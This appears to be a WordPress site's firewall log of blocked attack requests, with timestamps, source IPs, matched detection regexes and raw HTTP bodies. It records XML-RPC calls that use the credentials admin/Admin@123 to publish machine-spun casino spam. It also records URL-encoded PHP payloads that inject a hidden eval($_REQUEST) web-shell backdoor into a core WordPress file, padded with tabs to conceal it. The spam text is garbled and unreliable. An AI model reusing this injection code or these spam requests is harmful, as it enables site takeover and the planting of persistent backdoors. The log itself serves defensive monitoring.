on much more dependably, and keep maintaining your preferred video game merely a spigot aside, deciding to make the total experience far more smooth. With wide selection possibilities and a deep slots catalogue, it’s a great option for participants who require variety and seamless cellular slot enjoy. New registered users make the most of attractive incentive also offers, can be engage in real money gaming, take part in exciting tournaments, and take area in the exciting lotteries. Consider, getting the newest 1xslots mobile software to your Android or using all of our cellular browser version is completely totally free. 1xslots delivers an extraordinary set of advanced slot online game from industry-leading business.<\/p>\r\n<h2 id=\"toc-3\">Games Collection<\/h2>\n<p>The newest software is member-friendly and offers a lot of fun. Concurrently, the brand new freedom out of cryptocurrencies means the newest transactions is secure inside the the fresh digital world, and then make hacks or unlawful access almost hopeless. Cryptocurrencies, especially Bitcoin, has altered how purchases are completed in web based casinos.<\/p>\r\n<h2 id=\"toc-4\">Dice With Pals: Societal Game<\/h2>\n<p>Inside Silver Chance Casino you will find a sense away from a bona fide playing establishment, plus the mania of one's jackpot! Spinning ports draws you in ways that it will be difficult to-break out. Silver Fortune Gambling establishment – one of the most popular applications one of replica gambling enterprises.<\/p>\n<img src=\"https:\/\/casino.partycasino.com\/en\/blog\/cdn\/img\/7pe98pKdRxUIxWKc5fGVzuu72xu9zThTcIVCLIte.png?w=900","POST \/xmlrpc.php HTTP\/1.1\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-length:7633\nhost:dewenlabels.com\n\nh=503&q=80\" alt=\"no deposit bonus casino\" border=\"1\" align=\"right\">\n<p>Have fun with webpages that have receptive structure otherwise install 1xSlots cellular application for Ios and android. The new welcome added bonus talks about very first 4 places and enables you discover as much as 133,one hundred thousand INR while the a present on the gambling establishment. Possess additional adventure out of jackpot video game. Various desk video game and shows appear in that it section. We offer video game of multiple major business which specialize in these type of online game in particular.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T09:41:06<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[greatest-real-money-gambling-establishment-applications-to-own-2026:-ten-better-web-based-casinos]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>&fm=png&<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Greatest Real money Gambling establishment Applications to own 2026: ten Better Web based casinos]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Position Apps to have ios devices<\/a><\/li><li><a href=\"#toc-1\">⚙️ Precision Suits Play<\/a><\/li><li><a href=\"#toc-2\">Earn Extremely Jackpots<\/a><\/li><li><a href=\"#toc-3\">Games Collection<\/a><\/li><li><a href=\"#toc-4\">Dice With Pals: Societal Game<\/a><\/li><\/ul><\/div>\n<p>The fresh 1xSlots customer service team can be obtained 24\/7, and they'll become more than simply ready to help you with people issues otherwise queries you have. If you need to get in touch with the fresh 1xSlots customer support team, you could do so because of the clicking on the brand new ‘chat’ switch in the bottom of your own gambling establishment’s website. The working platform as well as categorises slot machines because of the motif, such jewels, Egypt and you may headache. <!--more--> With quite a few thousand titles, the website try a slot machine heaven. 1xSlots is without a doubt created for slot machine game partners. Check out the certified 1xSlots website on your pc otherwise cellular unit.<\/p>\n<p>We provide an intensive number of ports, table video game, lotteries or other video game types. If you make a deposit in the 1xSlots cellular app on the very first <a href=\"https:\/\/mobileslotsite.co.uk\/liberty-slots-casino\/\">mobileslotsite.co.uk click resources<\/a> time, you can purchase a complete band of welcome incentives you to apply to your earliest five places. Down load the new 1xSlots mobile software today and you may change their betting sense! Bonus conditions and you will in control playing legislation apply at all the professionals.<\/p>\r\n<h2 id=\"toc-0\">Position Apps to have ios devices<\/h2>\n<p>Progressive casino players often do the most of their betting on the cellular, so workers must focus on these pages. Whether it’s through online casino software otherwise through your mobile web browser, best gambling enterprises would be to function instead a good hitch on the cell phones and you will pills. With higher advertisements and you will a variety of video game to choose from, 1xSlots is a perfect choice for both the brand new and you can knowledgeable players exactly the same. With this type of products, 1xslots mobi surely gifts a perfect gambling experience. You are able to down load their software (1xslots mobi) and you can jump on at any place and on people tool, making it a convenient option for days out of enjoyable!<\/p>\r\n<h2 id=\"toc-1\">⚙️ Precision Suits Play<\/h2>\n<p>Slot machines alone has endless variations, because the manage well-known online game for example craps and you will backgammon. Of course, the only drawback is you usually do not earn income inside a no cost gambling enterprise online game. It is an excellent configurations for people itching to experience on the an excellent gambling establishment floor however, that simply don't features spare bucks to risk. Gamble ports such as a top roller from the comfort of your own own house!<\/p>\r\n<h2 id=\"toc-2\">Earn Extremely Jackpots<\/h2>\n<img src=\"https:\/\/www.telegraph.co.uk\/content\/dam\/betting\/Better-Collective\/sky-bet-best-sites.jpg\" alt=\"top 10 casino games online\" border=\"0\" align=\"left\" style=\"padding: 10px;\">\n<p>Score the The brand new game within current inform! I have produced several enjoyable reputation to help keep your favorite ports extra-shiny and you will loaded with funs！ Start to try out today to help you immediately receive ten,100,000 Totally free Gold coins as the invited bonus, and you may log on via Facebook to earn an extra step one,000,100000 Biggest Harbors coins! A variety of bonuses are given, along with welcome incentives, free spins, cashback, and you can commitment benefits. The newest local casino’s customer support team is quite amicable and you can useful, and they're going to become more than just ready to help you with people issues otherwise inquiries you have.<\/p>\n<p>Having fun with a bona-fide money position application unlocks extra benefits, such custom notifications, smaller logins, and you may centered-in the banking systems. Position programs load reduced, focus on much more dependably, and keep maintaining your preferred video game merely a spigot aside, deciding to make the total experience far more smooth. With wide selection possibilities and a deep slots catalogue, it’s a great option for participants who require variety and seamless cellular slot enjoy. New registered users make the most of attractive incentive also offers, can be engage in real money gaming, take part in exciting tournaments, and take area in the exciting lotteries. Consider, getting the newest 1xslots mobile software to your Android or using all of our cellular browser version is completely totally free. 1xslots delivers an extraordinary set of advanced slot online game from industry-leading business.<\/p>\r\n<h2 id=\"toc-3\">Games Collection<\/h2>\n<p>The newest software is member-friendly and offers a lot of fun. Concurrently, the brand new freedom out of cryptocurrencies means the newest transactions is secure inside the the fresh digital world, and then make hacks or unlawful access almost hopeless. Cryptocurrencies, especially Bitcoin, has altered how purchases are completed in web based casinos.<\/p>\r\n<h2 id=\"toc-4\">Dice With Pals: Societal Game<\/h2>\n<p>Inside Silver Chance Casino you will find a sense away from a bona fide playing establishment, plus the mania of one's jackpot! Spinning ports draws you in ways that it will be difficult to-break out. Silver Fortune Gambling establishment – one of the most popular applications one of replica gambling enterprises.<\/p>\n<img src=\"https:\/\/casino.partycasino.com\/en\/blog\/cdn\/img\/7pe98pKdRxUIxWKc5fGVzuu72xu9zThTcIVCLIte.png?w=900"]
["2026-05-12 17:41:10","162.128.128.22","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Greatest Real money Gambling establishment Applications to own 2026: ten Better Web based casinos]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Position Apps to have ios devices<\/a><\/li><li><a href=\"#toc-1\">⚙️ Precision Suits Play<\/a><\/li><li><a href=\"#toc-2\">Earn Extremely Jackpots<\/a><\/li><li><a href=\"#toc-3\">Games Collection<\/a><\/li><li><a href=\"#toc-4\">Dice With Pals: Societal Game<\/a><\/li><\/ul><\/div>\n<p>The fresh 1xSlots customer service team can be obtained 24\/7, and they'll become more than simply ready to help you with people issues otherwise queries you have. If you need to get in touch with the fresh 1xSlots customer support team, you could do so because of the clicking on the brand new ‘chat’ switch in the bottom of your own gambling establishment’s website. The working platform as well as categorises slot machines because of the motif, such jewels, Egypt and you may headache. <!--more--> With quite a few thousand titles, the website try a slot machine heaven. 1xSlots is without a doubt created for slot machine game partners. Check out the certified 1xSlots website on your pc otherwise cellular unit.<\/p>\n<p>We provide an intensive number of ports, table video game, lotteries or other video game types. If you make a deposit in the 1xSlots cellular app on the very first <a href=\"https:\/\/mobileslotsite.co.uk\/liberty-slots-casino\/\">mobileslotsite.co.uk click resources<\/a> time, you can purchase a complete band of welcome incentives you to apply to your earliest five places. Down load the new 1xSlots mobile software today and you may change their betting sense! Bonus conditions and you will in control playing legislation apply at all the professionals.<\/p>\r\n<h2 id=\"toc-0\">Position Apps to have ios devices<\/h2>\n<p>Progressive casino players often do the most of their betting on the cellular, so workers must focus on these pages. Whether it’s through online casino software otherwise through your mobile web browser, best gambling enterprises would be to function instead a good hitch on the cell phones and you will pills. With higher advertisements and you will a variety of video game to choose from, 1xSlots is a perfect choice for both the brand new and you can knowledgeable players exactly the same. With this type of products, 1xslots mobi surely gifts a perfect gambling experience. You are able to down load their software (1xslots mobi) and you can jump on at any place and on people tool, making it a convenient option for days out of enjoyable!<\/p>\r\n<h2 id=\"toc-1\">⚙️ Precision Suits Play<\/h2>\n<p>Slot machines alone has endless variations, because the manage well-known online game for example craps and you will backgammon. Of course, the only drawback is you usually do not earn income inside a no cost gambling enterprise online game. It is an excellent configurations for people itching to experience on the an excellent gambling establishment floor however, that simply don't features spare bucks to risk. Gamble ports such as a top roller from the comfort of your own own house!<\/p>\r\n<h2 id=\"toc-2\">Earn Extremely Jackpots<\/h2>\n<img src=\"https:\/\/www.telegraph.co.uk\/content\/dam\/betting\/Better-Collective\/sky-bet-best-sites.jpg\" alt=\"top 10 casino games online\" border=\"0\" align=\"left\" style=\"padding: 10px;\">\n<p>Score the The brand new game within current inform! I have produced several enjoyable reputation to help keep your favorite ports extra-shiny and you will loaded with funs！ Start to try out today to help you immediately receive ten,100,000 Totally free Gold coins as the invited bonus, and you may log on via Facebook to earn an extra step one,000,100000 Biggest Harbors coins! A variety of bonuses are given, along with welcome incentives, free spins, cashback, and you can commitment benefits. The newest local casino’s customer support team is quite amicable and you can useful, and they're going to become more than just ready to help you with people issues otherwise inquiries you have.<\/p>\n<p>Having fun with a bona-fide money position application unlocks extra benefits, such custom notifications, smaller logins, and you may centered-in the banking systems. Position programs load reduced, focus on much more dependably, and keep maintaining your preferred video game merely a spigot aside, deciding to make the total experience far more smooth. With wide selection possibilities and a deep slots catalogue, it’s a great option for participants who require variety and seamless cellular slot enjoy. New registered users make the most of attractive incentive also offers, can be engage in real money gaming, take part in exciting tournaments, and take area in the exciting lotteries. Consider, getting the newest 1xslots mobile software to your Android or using all of our cellular browser version is completely totally free. 1xslots delivers an extraordinary set of advanced slot online game from industry-leading business.<\/p>\r\n<h2 id=\"toc-3\">Games Collection<\/h2>\n<p>The newest software is member-friendly and offers a lot of fun. Concurrently, the brand new freedom out of cryptocurrencies means the newest transactions is secure inside the the fresh digital world, and then make hacks or unlawful access almost hopeless. Cryptocurrencies, especially Bitcoin, has altered how purchases are completed in web based casinos.<\/p>\r\n<h2 id=\"toc-4\">Dice With Pals: Societal Game<\/h2>\n<p>Inside Silver Chance Casino you will find a sense away from a bona fide playing establishment, plus the mania of one's jackpot! Spinning ports draws you in ways that it will be difficult to-break out. Silver Fortune Gambling establishment – one of the most popular applications one of replica gambling enterprises.<\/p>\n<img src=\"https:\/\/casino.partycasino.com\/en\/blog\/cdn\/img\/7pe98pKdRxUIxWKc5fGVzuu72xu9zThTcIVCLIte.png?w=900","POST \/xmlrpc.php HTTP\/1.1\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-length:7674\nhost:dewenlabels.com\n\nh=503&q=80\" alt=\"no deposit bonus casino\" border=\"1\" align=\"right\">\n<p>Have fun with webpages that have receptive structure otherwise install 1xSlots cellular application for Ios and android. The new welcome added bonus talks about very first 4 places and enables you discover as much as 133,one hundred thousand INR while the a present on the gambling establishment. Possess additional adventure out of jackpot video game. Various desk video game and shows appear in that it section. We offer video game of multiple major business which specialize in these type of online game in particular.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T09:41:08<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>&fm=png&<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Greatest Real money Gambling establishment Applications to own 2026: ten Better Web based casinos]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Position Apps to have ios devices<\/a><\/li><li><a href=\"#toc-1\">⚙️ Precision Suits Play<\/a><\/li><li><a href=\"#toc-2\">Earn Extremely Jackpots<\/a><\/li><li><a href=\"#toc-3\">Games Collection<\/a><\/li><li><a href=\"#toc-4\">Dice With Pals: Societal Game<\/a><\/li><\/ul><\/div>\n<p>The fresh 1xSlots customer service team can be obtained 24\/7, and they'll become more than simply ready to help you with people issues otherwise queries you have. If you need to get in touch with the fresh 1xSlots customer support team, you could do so because of the clicking on the brand new ‘chat’ switch in the bottom of your own gambling establishment’s website. The working platform as well as categorises slot machines because of the motif, such jewels, Egypt and you may headache. <!--more--> With quite a few thousand titles, the website try a slot machine heaven. 1xSlots is without a doubt created for slot machine game partners. Check out the certified 1xSlots website on your pc otherwise cellular unit.<\/p>\n<p>We provide an intensive number of ports, table video game, lotteries or other video game types. If you make a deposit in the 1xSlots cellular app on the very first <a href=\"https:\/\/mobileslotsite.co.uk\/liberty-slots-casino\/\">mobileslotsite.co.uk click resources<\/a> time, you can purchase a complete band of welcome incentives you to apply to your earliest five places. Down load the new 1xSlots mobile software today and you may change their betting sense! Bonus conditions and you will in control playing legislation apply at all the professionals.<\/p>\r\n<h2 id=\"toc-0\">Position Apps to have ios devices<\/h2>\n<p>Progressive casino players often do the most of their betting on the cellular, so workers must focus on these pages. Whether it’s through online casino software otherwise through your mobile web browser, best gambling enterprises would be to function instead a good hitch on the cell phones and you will pills. With higher advertisements and you will a variety of video game to choose from, 1xSlots is a perfect choice for both the brand new and you can knowledgeable players exactly the same. With this type of products, 1xslots mobi surely gifts a perfect gambling experience. You are able to down load their software (1xslots mobi) and you can jump on at any place and on people tool, making it a convenient option for days out of enjoyable!<\/p>\r\n<h2 id=\"toc-1\">⚙️ Precision Suits Play<\/h2>\n<p>Slot machines alone has endless variations, because the manage well-known online game for example craps and you will backgammon. Of course, the only drawback is you usually do not earn income inside a no cost gambling enterprise online game. It is an excellent configurations for people itching to experience on the an excellent gambling establishment floor however, that simply don't features spare bucks to risk. Gamble ports such as a top roller from the comfort of your own own house!<\/p>\r\n<h2 id=\"toc-2\">Earn Extremely Jackpots<\/h2>\n<img src=\"https:\/\/www.telegraph.co.uk\/content\/dam\/betting\/Better-Collective\/sky-bet-best-sites.jpg\" alt=\"top 10 casino games online\" border=\"0\" align=\"left\" style=\"padding: 10px;\">\n<p>Score the The brand new game within current inform! I have produced several enjoyable reputation to help keep your favorite ports extra-shiny and you will loaded with funs！ Start to try out today to help you immediately receive ten,100,000 Totally free Gold coins as the invited bonus, and you may log on via Facebook to earn an extra step one,000,100000 Biggest Harbors coins! A variety of bonuses are given, along with welcome incentives, free spins, cashback, and you can commitment benefits. The newest local casino’s customer support team is quite amicable and you can useful, and they're going to become more than just ready to help you with people issues otherwise inquiries you have.<\/p>\n<p>Having fun with a bona-fide money position application unlocks extra benefits, such custom notifications, smaller logins, and you may centered-in the banking systems. Position programs load reduced, focus on much more dependably, and keep maintaining your preferred video game merely a spigot aside, deciding to make the total experience far more smooth. With wide selection possibilities and a deep slots catalogue, it’s a great option for participants who require variety and seamless cellular slot enjoy. New registered users make the most of attractive incentive also offers, can be engage in real money gaming, take part in exciting tournaments, and take area in the exciting lotteries. Consider, getting the newest 1xslots mobile software to your Android or using all of our cellular browser version is completely totally free. 1xslots delivers an extraordinary set of advanced slot online game from industry-leading business.<\/p>\r\n<h2 id=\"toc-3\">Games Collection<\/h2>\n<p>The newest software is member-friendly and offers a lot of fun. Concurrently, the brand new freedom out of cryptocurrencies means the newest transactions is secure inside the the fresh digital world, and then make hacks or unlawful access almost hopeless. Cryptocurrencies, especially Bitcoin, has altered how purchases are completed in web based casinos.<\/p>\r\n<h2 id=\"toc-4\">Dice With Pals: Societal Game<\/h2>\n<p>Inside Silver Chance Casino you will find a sense away from a bona fide playing establishment, plus the mania of one's jackpot! Spinning ports draws you in ways that it will be difficult to-break out. Silver Fortune Gambling establishment – one of the most popular applications one of replica gambling enterprises.<\/p>\n<img src=\"https:\/\/casino.partycasino.com\/en\/blog\/cdn\/img\/7pe98pKdRxUIxWKc5fGVzuu72xu9zThTcIVCLIte.png?w=900"]
["2026-05-12 17:41:43","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:2035\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\n\nQu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:41:47","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:2058\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-rewrite.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527KyjYvJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
